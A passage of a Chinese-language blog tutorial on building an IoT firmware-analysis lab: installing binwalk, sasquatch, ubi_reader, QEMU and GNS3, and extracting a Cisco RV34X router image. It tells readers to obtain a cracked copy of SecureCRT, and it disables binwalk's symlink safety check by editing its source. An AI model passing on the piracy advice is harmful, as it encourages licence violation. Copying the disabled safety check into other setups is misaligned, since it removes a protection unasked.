    <content type="html"><![CDATA[<h1 id="IoT-环境搭建"><a href="#IoT-环境搭建" class="headerlink" title="IoT 环境搭建"></a>IoT 环境搭建</h1><h2 id="binwalk"><a href="#binwalk" class="headerlink" title="binwalk"></a>binwalk</h2><blockquote><p><code>binwalk</code> 是 IoT 固件分析中用来解压设备固件的常用工具，在 CTF 杂项中也常会用到 <code>binwalk</code> 进行文件提取，但是现在将要对 <code>binwalk</code> 进行更加深入的了解</p></blockquote><p><code>binwalk</code> 可以通过 <code>apt</code> 安装，也可以自己编译安装</p><p>建议尽量通过源码安装 <code>binwalk</code>，因为 <code>apt</code> 安装的 <code>binwalk</code> 可能不完整，后续遇到各种报错问题需要单独去解决，将缺少的东西安装回来</p><hr><h3 id="安装-binwalk"><a href="#安装-binwalk" class="headerlink" title="安装 binwalk"></a>安装 binwalk</h3><ul><li><code>apt</code> 安装 <code>binwalk</code>：</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> binwalk<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>在 Kali Linux 2024.1 中使用 <code>apt</code> 安装的是 <code>binwalk v2.3.3</code>，目前最新版为 <code>binwalk v2.3.4</code></p><ul><li>编译安装 <code>binwalk</code></li></ul><p>如果系统自带 <code>apt</code> 安装的 <code>binwalk</code>，且版本比较老旧，可以先卸载：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 查看是否安装 binwalk</span>binwalk<span class="token comment"># 如果已经安装 binwalk，首先卸载 binwalk</span><span class="token function">sudo</span> <span class="token function">apt</span> remove binwalk<span class="token comment"># 更新软件列表</span><span class="token function">sudo</span> <span class="token function">apt</span> update<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>编译安装：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">git</span> clone https://github.com/devttys0/binwalk.git /opt/binwalk<span class="token builtin class-name">cd</span> /opt/binwalk<span class="token function">sudo</span> python3 setup.py <span class="token function">install</span><span class="token comment"># 测试安装</span>binwalk<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>安装 <code>binwalk</code> 运行过程中需要调用的命令行工具：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># binwalk 运行时，它依赖许多命令行工具来提取固件</span><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> mtd-utils <span class="token function">gzip</span> <span class="token function">bzip2</span> <span class="token function">tar</span> arj lhasa p7zip p7zip-full cabextract cramfsswap squashfs-tools sleuthkit default-jdk lzop srecord<span class="token comment"># 安装 C/C++ 编译器、liblzma、liblzo 和 zlib 依赖项</span><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> build-essential liblzma-dev liblzo2-dev zlib1g-dev<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><hr><h3 id="安装-sasquatch"><a href="#安装-sasquatch" class="headerlink" title="安装 sasquatch"></a>安装 sasquatch</h3><blockquote><p>用于分离 <code>squashfs</code> 固件系统，解开非标准的 <code>squashfs</code> 文件系统</p></blockquote><p>如果没有安装 <code>sasquatch</code>，使用 <code>binwalk -Me</code> 提取固件的过程中会报如下警告：</p><blockquote><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">WARNING: Extractor.execute failed to run external extractor <span class="token string">'sasquatch -p 1 -le -d '</span>squashfs-root<span class="token string">' '</span>%e<span class="token string">''</span><span class="token builtin class-name">:</span> <span class="token punctuation">[</span>Errno <span class="token number">2</span><span class="token punctuation">]</span> No such <span class="token function">file</span> or directory: <span class="token string">'sasquatch'</span>, <span class="token string">'sasquatch -p 1 -le -d '</span>squashfs-root<span class="token string">' '</span>%e<span class="token string">''</span> might not be installed correctly<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre></blockquote><p>安装 <code>sasquatch</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> mtd-utils <span class="token function">gzip</span> <span class="token function">bzip2</span> <span class="token function">tar</span> arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools <span class="token function">sudo</span> <span class="token function">git</span> clone https://github.com/devttys0/sasquatch.git /opt/sasquatch<span class="token builtin class-name">cd</span> /opt/sasquatch<span class="token function">sudo</span> <span class="token function">chmod</span> +x build.sh<span class="token function">sudo</span> ./build.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>通过 <code>sudo ./build.sh</code> 编译时可能会出现报错：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">unsquashfs.c: In <span class="token keyword">function</span> ‘read_super’:unsquashfs.c:1835:5: error: this ‘if’ clause does not guard<span class="token punctuation">..</span>. <span class="token punctuation">[</span>-Werror<span class="token operator">=</span>misleading-indentation<span class="token punctuation">]</span> <span class="token number">1835</span> <span class="token operator">|</span>     if<span class="token punctuation">(</span>swap<span class="token punctuation">)</span>      <span class="token operator">|</span>     ^~unsquashfs.c:1841:9: note: <span class="token punctuation">..</span>.this statement, but the latter is misleadingly indented as <span class="token keyword">if</span> it were guarded by the ‘if’ <span class="token number">1841</span> <span class="token operator">|</span>         read_fs_bytes<span class="token punctuation">(</span>fd, SQUASHFS_START, sizeof<span class="token punctuation">(</span>struct squashfs_super_block<span class="token punctuation">)</span>,      <span class="token operator">|</span>         ^~~~~~~~~~~~~cc1: all warnings being treated as errorsmake: *** <span class="token punctuation">[</span><span class="token operator">&lt;</span>builtin<span class="token operator">></span>: unsquashfs.o<span class="token punctuation">]</span> Error <span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>错误原因是代码中的 <code>if</code> 出现了问题，报错提示在第 <code>1835</code> 行出现了错误</p><p>该错误是因为 <code>if</code> 条件语句缺少必要的左右花括号 <code>&#123;</code> 和 <code>&#125;</code>，导致后面的 <code>&#39;ERROR&#39;</code> 语句无法被包含在条件语句块中执行</p></blockquote><p>解决方法参考：<a href="https://blog.csdn.net/weixin_46047387/article/details/130016236">关于Kali编译sasquatch时出现 ‘if’ clause does not guard… -Werror&#x3D;misleading-indentation 的解决方案-CSDN博客</a></p><p>使用 <a href="https://github.com/devttys0/sasquatch/pull/47">Fixed gcc build errors by threadexio · Pull Request #47 · devttys0&#x2F;sasquatch</a> 该 pull 中的一个 <code>patch</code> 文件来进行补丁：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> /opt/sasquatch  <span class="token function">sudo</span> <span class="token function">wget</span> https://github.com/devttys0/sasquatch/pull/47.patch  <span class="token function">sudo</span> patch <span class="token parameter variable">-p1</span> <span class="token operator">&lt;</span> <span class="token number">47</span>.patch  <span class="token function">sudo</span> ./build.sh<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>再次编译后不会再报错，可以正常分离 <code>squashfs</code> 固件系统</p><hr><h3 id="安装-ubi-reader"><a href="#安装-ubi-reader" class="headerlink" title="安装 ubi_reader"></a>安装 ubi_reader</h3><blockquote><p>用于分离 <code>ubifs</code> 固件系统，即：<code>binwalk</code> 分离后的后缀为 <code>ubi</code> 的 <code>xxx.ubi</code> 文件</p></blockquote><p>如果 <code>binwalk</code> 解压后只有 <code>xxx.ubi</code> 文件而没有文件系统，或者 <code>binwalk</code> 执行 <code>ubireader_extract_files</code> 程序失败：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">MARNING: Extractor.execute failed to run external extractor <span class="token string">'ubireader_extract_files -o '</span>ubifs-root' <span class="token string">"%e"</span><span class="token builtin class-name">:</span> <span class="token punctuation">[</span>Errno <span class="token number">2</span><span class="token punctuation">]</span> No such <span class="token function">file</span> or directory<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>这是因为 <code>binwalk</code> 缺少必要的组件：<code>ubi_reader</code></p><blockquote><p>注意：</p><p><code>ubi_reader</code> 这个工具很重要，如果路由器固件是 <code>ubi</code> 格式，需要用 <code>ubireader_extract_files</code> 来提取，否则会无法解压出文件系统</p></blockquote><p>参考文档：<a href="https://blog.csdn.net/gybwq/article/details/113850747">https://blog.csdn.net/gybwq/article/details/113850747</a></p><p>安装 <code>ubi_reader</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> liblzo2-dev  <span class="token function">sudo</span> pip <span class="token function">install</span> python-lzo  <span class="token function">sudo</span> pip <span class="token function">install</span> ubi_reader<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><code>ubi_reader</code> 工具提供了四个脚本：</p><ul><li>获取 UBI 信息、布局块等：<code>ubireader_display_info</code>  </li><li>提取镜像：<code>ubireader_extract_images</code>  </li><li>提取文件内容：<code>ubireader_extract_files</code>  </li><li>分析 UBI 镜像并创建 shell 脚本和 UBI 配置文件：<code>bireader_utils_info</code></li></ul><p><code>ubi_reader</code> 工具的使用也很简单，可以不需要参数：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 提取镜像里面的文件，输出保存到 ./ubifs-root/ 目录  </span>ubireader_extract_files rootfs.ubi<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><hr><h2 id="QEMU"><a href="#QEMU" class="headerlink" title="QEMU"></a>QEMU</h2><blockquote><p>VMware 和 Virtualbox 之类通常只能在 x86 计算机上虚拟出一个 x86 虚拟机，而 QEMU 支持在 x86 上虚拟出一个 ARM 虚拟机</p><p>QEMU 源码下载地址：<a href="https://download.qemu.org/">Index of &#x2F; qemu</a><br>虚拟机磁盘镜像下载地址：<a href="https://people.debian.org/~aurel32/qemu/">Index of &#x2F;~aurel32&#x2F;qemu</a></p></blockquote><h3 id="安装-QEMU"><a href="#安装-QEMU" class="headerlink" title="安装 QEMU"></a>安装 QEMU</h3><ul><li>通过 <code>apt</code> 安装 QEMU：</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> qemu qemu-kvm virt-manager bridge-utils binfmt-support<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span>  qemu-system qemu-user-static   <span class="token comment"># 安装系统态、用户态</span><span class="token comment"># 安装依赖库</span><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> <span class="token parameter variable">-y</span> gcc-arm-linux-gnueabi<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> qemu libncurses5-dev gcc-arm-linux-gnueabi build-essential gdb-arm-none-eabi synaptic gcc-aarch64-linux-gnu eclipse-cdt <span class="token function">git</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>注意：</p><p>Ubuntu 24.04 这种新版本系统中貌似去除了 <code>sudo apt install qemu</code>，但仍可以通过 <code>sudo apt install  qemu-system qemu-user-static</code> 安装，只不过版本是 <code>qemu-8.2.2</code>，不是最新版</p><p><strong>QEMU 有 user mode 和 system mode 两种配置方式</strong></p><p>其中 QEMU 在 system mode 配置下模拟出整个计算机，可以在 QEMU 之上运行一个操作系统；而 user mode 仅可用来运行对应架构的二进制文件，例如：交叉编译</p></blockquote><ul><li>通过源码编译安装 QEMU</li></ul><p>如果通过 <code>apt</code> 安装过 QEMU，首先卸载：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment"># 删除包和相关依赖</span><span class="token function">sudo</span> <span class="token function">apt</span> remove --auto-remove qemu*<span class="token comment"># 删除配置文件和相关的数据文件</span><span class="token function">sudo</span> <span class="token function">apt</span> purge --auto-remove qemu*<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>采用源码编译安装 <code>qemu-9.0.0</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">wget</span> https://download.qemu.org/qemu-9.0.0.tar.xz<span class="token function">tar</span> xvJf qemu-9.0.0.tar.xz<span class="token builtin class-name">cd</span> qemu-9.0.0<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>安装依赖：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> ninja-build zlib1g zlib1g-dev libglib2.0-dev libpixman-1-dev libfdt-dev python3-venv libgtk-3-dev build-essential pkg-config binutils-dev <span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> flex bison<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>编译安装：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">mkdir</span> build <span class="token operator">&amp;&amp;</span> <span class="token builtin class-name">cd</span> build<span class="token comment"># 以编译 x86_64 架构的 QEMU 为例，-softmmu 表示 system mode</span><span class="token function">sudo</span> <span class="token punctuation">..</span>/configure --enable-kvm --target-list<span class="token operator">=</span>x86_64-softmmu --enable-debug<span class="token comment"># 启动多核心编译加快速度</span><span class="token function">sudo</span> <span class="token function">make</span> -j<span class="token variable"><span class="token variable">$(</span>nproc<span class="token variable">)</span></span><span class="token comment"># 将其安装到 /bin 目录下，即可通过终端启动</span><span class="token function">sudo</span> <span class="token function">make</span> <span class="token function">install</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>编译命令中一些参数的说明：</p><table><thead><tr><th align="left">参数</th><th align="left">含义</th></tr></thead><tbody><tr><td align="left"><code>--enable-kvm</code></td><td align="left">表示开启 kvm 支持</td></tr><tr><td align="left"><code>--target-list</code></td><td align="left">指定要编译的 CPU 架构（<strong>如果不指定，就是全部架构都编译</strong>），其中 <code>-softmmu</code> 表示 system mode，<code>-linux-user</code> 表示 user mode</td></tr><tr><td align="left"><code>--enable-debug</code></td><td align="left">能够对 QEMU 进行调试</td></tr></tbody></table><blockquote><p>目前在 Ubuntu 24.04 中编译 AARCH64 架构的时候会报错</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">[</span><span class="token number">2181</span>/9361<span class="token punctuation">]</span> Compiling C object libqemu-aarch64-linux-user.fa.p/target_arm_helper.c.oninja: build stopped: subcommand failed.  make: *** <span class="token punctuation">[</span>Makefile:167：run-ninja<span class="token punctuation">]</span> 错误 <span class="token number">1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>解决方法：将报错文件 <code>../target/arm/cpu.c</code> 的第 1020 行的 <code>CS_ARCH_ARM64</code> 改为 <code>CS_ARCH_ARM</code>，重新编译即可</p></blockquote><p>编译完成后，会在 <code>build</code> 目录下生成 <code>x86_64</code> 架构下的 QEMU 本体：<code>qemu-system_x86-64</code></p><p>在终端验证安装：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">qemu-system_x86-64 <span class="token parameter variable">--version</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA8.png" alt="IOT环境搭建8.png"></p><p>查看 QEMU 安装路径：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">which</span> qemu-system-x86_64<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA9.png" alt="IOT环境搭建9.png"></p><hr><h3 id="配置网络脚本"><a href="#配置网络脚本" class="headerlink" title="配置网络脚本"></a>配置网络脚本</h3><p>另外，QEMU 默认没有网络脚本文件，需要自己进行创建</p><p>在 <code>/usr/local/etc</code> 目录下（也有可能是 <code>/etc</code> 目录下，可以到时候根据报错路径来确定具体位置），新建 <code>qemu-ifup</code> 文件：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/sh</span><span class="token builtin class-name">set</span> <span class="token parameter variable">-x</span><span class="token assign-left variable">switch</span><span class="token operator">=</span>br0<span class="token keyword">if</span> <span class="token punctuation">[</span> <span class="token parameter variable">-n</span> <span class="token string">"<span class="token variable">$1</span>"</span> <span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">then</span>    <span class="token function">ip</span> tuntap <span class="token function">add</span> <span class="token variable">$1</span> mode tap user <span class="token variable"><span class="token variable">`</span><span class="token function">whoami</span><span class="token variable">`</span></span>    <span class="token function">ip</span> <span class="token function">link</span> <span class="token builtin class-name">set</span> <span class="token variable">$1</span> up    <span class="token function">sleep</span> <span class="token number">0</span>.5s    <span class="token function">ip</span> <span class="token function">link</span> <span class="token builtin class-name">set</span> <span class="token variable">$1</span> master <span class="token variable">$switch</span>    <span class="token builtin class-name">exit</span> <span class="token number">0</span><span class="token keyword">else</span>    <span class="token builtin class-name">echo</span> <span class="token string">"Error: no interface specified"</span>    <span class="token builtin class-name">exit</span> <span class="token number">1</span><span class="token keyword">fi</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>增加权限：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">chmod</span> <span class="token number">755</span> /usr/local/etc/qemu-ifup<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><hr><h2 id="GNS3"><a href="#GNS3" class="headerlink" title="GNS3"></a>GNS3</h2><blockquote><p>GNS3 是一种可以仿真复杂网络的图形化网络模拟器，GNS3 允许在计算机中运行 Cisco 的 IOS</p><p>GNS3 其实是 Dynagen 的图形化前端环境工具软件，而 Dynamips 是仿真 IOS 的核心程序，Dynagen 运行在 Dynamips 之上，目的是提供更友好的、基于文本的用户界面</p><p><strong>注意：GNS3 仅支持 Cisco 设备的仿真</strong></p></blockquote><h3 id="Windows-安装-GNS3"><a href="#Windows-安装-GNS3" class="headerlink" title="Windows 安装 GNS3"></a>Windows 安装 GNS3</h3><p>首先下载安装 GNS3：<a href="https://www.gns3.com/software/download">Software | GNS3</a>（这是官网的最新版，当然也可以去第三方下载特定版本）</p><p>安装过程参考：<a href="https://blog.csdn.net/carefree2005/article/details/116880491">网络工具之GNS3安装及使用_gns3的安装步骤及导入路由器镜像的过程-CSDN博客</a></p><p>安装成功后界面如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA45.png" alt="IOT环境搭建45.png"></p><p>另外 GNS3 也有 VM 版本，同样在 <a href="https://www.gns3.com/software/download">Software | GNS3</a> 处下载（这是官网的最新版，当然也可以去第三方下载特定版本）</p><p>下载解压后名为 <code>GNS3 VM.ova</code>，直接导入 VMware Workstation 即可：（<strong>注意 GNS3 的版本需要与 GNS3 VM 的版本一致</strong>）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA47.png" alt="IOT环境搭建47.png"></p><p>在物理机上测试一下是否能正常访问 Web-UI：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA62.png" alt="IOT环境搭建62.png"></p><p>同时在 GNS3 中配置 GNS3 VM：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA61.png" alt="IOT环境搭建61.png"></p><p>配置成功后在 Servers Summary 处会显示 GNS3 VM 并且为绿色：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA63.png" alt="IOT环境搭建63.png"></p><p>GNS3 自带的终端为 Putty，不过 GNS3 支持与 SecureCRT 之类的终端仿真软件进行绑定</p><p>下载安装 SecureCRT（一款 SSH 终端仿真软件），网上教程很多，请自行下载 SecureCRT 并破解（<strong>仅用于学习交流，请支持正版</strong>）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA48.png" alt="IOT环境搭建48.png"></p><p>在 GNS3 中将终端改为 SecureCRT，如果你的 SecureCRT 安装没有问题，会自动识别到其所在路径：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA46.png" alt="IOT环境搭建46.png"></p><p>自行检查 GNS3 识别到的 SecureCRT 安装路径是否正确：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA49.png" alt="IOT环境搭建49.png"></p><p>选择 <code>Run appliances on my local coputer</code>：（如果安装了 GNS3 VM 也可以选 <code>Run appliances in a virtual machine</code> 将固件运行在 GNS3 VM 中）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA60.png" alt="IOT环境搭建60.png"></p><p>初始化 GNS3 Server，保持默认即可（这里 <code>Host binding</code> 默认为 <code>localhost</code>，但建议设置为 <code>127.0.0.1</code>，这样当网络环境发生变化时，仍然能够连接到 GNS3 VM）</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA51.png" alt="IOT环境搭建51.png"></p><hr><h3 id="Linux-安装-GNS3"><a href="#Linux-安装-GNS3" class="headerlink" title="Linux 安装 GNS3"></a>Linux 安装 GNS3</h3><p>参考官方文档：<a href="https://docs.gns3.com/docs/getting-started/installation/linux/">GNS3 Linux Install | GNS3 Documentation</a></p><p>以 Kali Linux 为例：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> update<span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> python3 python3-pip pipx python3-pyqt5 python3-pyqt5.qtwebsockets python3-pyqt5.qtsvg qemu-kvm qemu-utils libvirt-clients libvirt-daemon-system virtinst dynamips software-properties-common ca-certificates <span class="token function">curl</span> gnupg2 pipx <span class="token function">install</span> gns3-serverpipx <span class="token function">install</span> gns3-guipipx inject gns3-gui gns3-server PyQt5gns3   <span class="token comment"># 启动 GNS3</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA50.png" alt="IOT环境搭建50.png"></p><hr><h1 id="固件分析"><a href="#固件分析" class="headerlink" title="固件分析"></a>固件分析</h1><blockquote><p>路由器固件分为加密固件和未加密固件，对于未加密的固件使用 <code>binwalk</code> 可以直接提取，而对于加密的固件则需要先想办法解密</p></blockquote><h2 id="未加密固件的分析"><a href="#未加密固件的分析" class="headerlink" title="未加密固件的分析"></a>未加密固件的分析</h2><blockquote><p>以下分析都是以 Cisco 的 <code>RV34X-v1.0.03.29-2022-10-17-13-45-34-PM.img</code> 固件为例</p><p>下载地址：<a href="https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.29">Software Download - Cisco Systems</a></p></blockquote><p><strong>如果以下所有流程全部正常走完，那就说明我们的环境是没有问题的</strong></p><hr><h3 id="固件扫描"><a href="#固件扫描" class="headerlink" title="固件扫描"></a>固件扫描</h3><p>使用 <code>binwalk</code> 扫描固件，可以查看固件信息：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">binwalk 路由器固件（一般以 .bin 或 .img 为后缀）<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA1.png" alt="IOT环境搭建1.png"></p><hr><h3 id="固件提取"><a href="#固件提取" class="headerlink" title="固件提取"></a>固件提取</h3><p>使用 <code>binwalk</code> 提取路由器固件：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">binwlak <span class="token parameter variable">-Me</span> 路由器固件（一般以 .bin 或 .img 为后缀）<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><code>binwalk</code> 提取后，会在固件所在目录得到一个 <code>_XXXXX.extracted</code> 文件夹，其中通常有一个 <code>_fw.gz.extracted</code> 文件夹</p><p>在形如 <code>_openwrt-comcerto2000-hgw-rootfs-ubi_nand.img.extracted</code> 的文件夹中有一个 <code>ubifs-root</code> 文件夹</p><blockquote><p>**如果通过 <code>binwalk -Me</code> 解压后没有 <code>ubifs-root</code> 文件夹，只有一个 <code>0.ubi</code> 文件，说明没有安装 <code>ubi_reader</code>**，请参照上面的环境搭建一节自行安装</p></blockquote><p>其中存放着路由器文件系统的根目录 <code>rootfs</code>，其结构如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA3.png" alt="IOT环境搭建3.png"></p><p><mark>注意：如果上图中出现 <code>var -&gt; /dev/null</code>，说明是有问题的</mark></p><p>仔细看 <code>binwalk</code> 的提取信息，会发现很多如下警告：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">WARNING: Symlink points outside of the extraction directory: /home/wyy/IOT/Cisco/RV34X-v1.0.03.29-2022-10-17-13-45-34-PM/_RV34X-v1.0.03.29-2022-10-17-13-45-34-PM.img.extracted/_40.extracted/_fw.gz.extracted/_0.extracted/_openwrt-comcerto2000-hgw-rootfs-ubi_nand.img.extracted/ubifs-root/790534924/rootfs/www/index.html -<span class="token operator">></span> /tmp/www/index.html<span class="token punctuation">;</span> changing <span class="token function">link</span> target to /dev/null <span class="token keyword">for</span> security purposes.<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>意思是：原本文件中存在的软链接指向了提取目录之外</p><p>就比如当前的 <code>var</code> 目录，它指向的是 Kali Linux 本机的 <code>/tmp</code> 目录（实际上应该指向路由器的 <code>/tmp</code> 目录，而不是本机的 <code>/tmp</code> 目录），为了安全考虑，<code>binwalk</code> 将这种软链接都置成了 <code>/dev/null</code></p><blockquote><p>这里如果放任不管，后面进行路由器的仿真会失败，比如路由器的某个服务需要去访问 <code>var</code> 目录下的文件，但它如果被置成 <code>/dev/null</code> 的话，目录自然是缺失的</p></blockquote><p>解决方法是找到 <code>binwalk</code> 安装路径下的 <code>/modules</code> 文件夹，修改其中的 <code>extractor.py</code> 文件</p><p>如果是通过 <code>apt</code> 安装的 <code>binwalk</code>，不知道安装路径在哪里，使用如下命令搜索：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">find</span> / <span class="token parameter variable">-name</span> binwalk<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>找到 <code>extractor.py</code> 文件后，搜索：<code>&quot;os.devnull&quot;</code>，大概在文件的最末尾，1008 行，将 <code>if not ...</code> 改为 <code>if 0 and not ...</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA4.png" alt="IOT环境搭建4.png"></p><p>然后使用 <code>binwalk</code> 重新解压固件，即可得到 <code>var -&gt; /tmp</code> 的文件系统（如果是自行编译安装的 <code>binwalk</code>，可能需要首先在 <code>binwalk</code> 安装根目录下使用 <code>sudo python3 setup.py install</code> 重新安装一下再解压）：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA2.png" alt="IOT环境搭建2.png"></p><p>到这里就提取完毕了</p><blockquote><p>补充另一种方法，安装 <code>ubi_reader</code> 后通过 <code>ubireader_extract_files</code> 工具单独对 <code>0.ubi</code> 进行提取也可以避免上述软链接的问题：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">ubireader_extract_files <span class="token number">0</span>.ubi<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre></blockquote><hr><h3 id="查看路由器属性"><a href="#查看路由器属性" class="headerlink" title="查看路由器属性"></a>查看路由器属性</h3><p>查看路由器属性（为后续配置搜集信息）</p><p>在路由器文件系统的 <code>/bin</code> 目录下，有一个 <code>busybox</code> 的二进制可执行文件：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> /bin<span class="token function">file</span> busybox<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA5.png" alt="IOT环境搭建5.png"></p><p>可见该路由器是 32 位 ARM 架构，小端序，动态链接</p><p>那么进行路由器仿真时就需要使用 32 位 ARM 架构的 QEMU</p><hr><h3 id="QEMU-运行异架构程序"><a href="#QEMU-运行异架构程序" 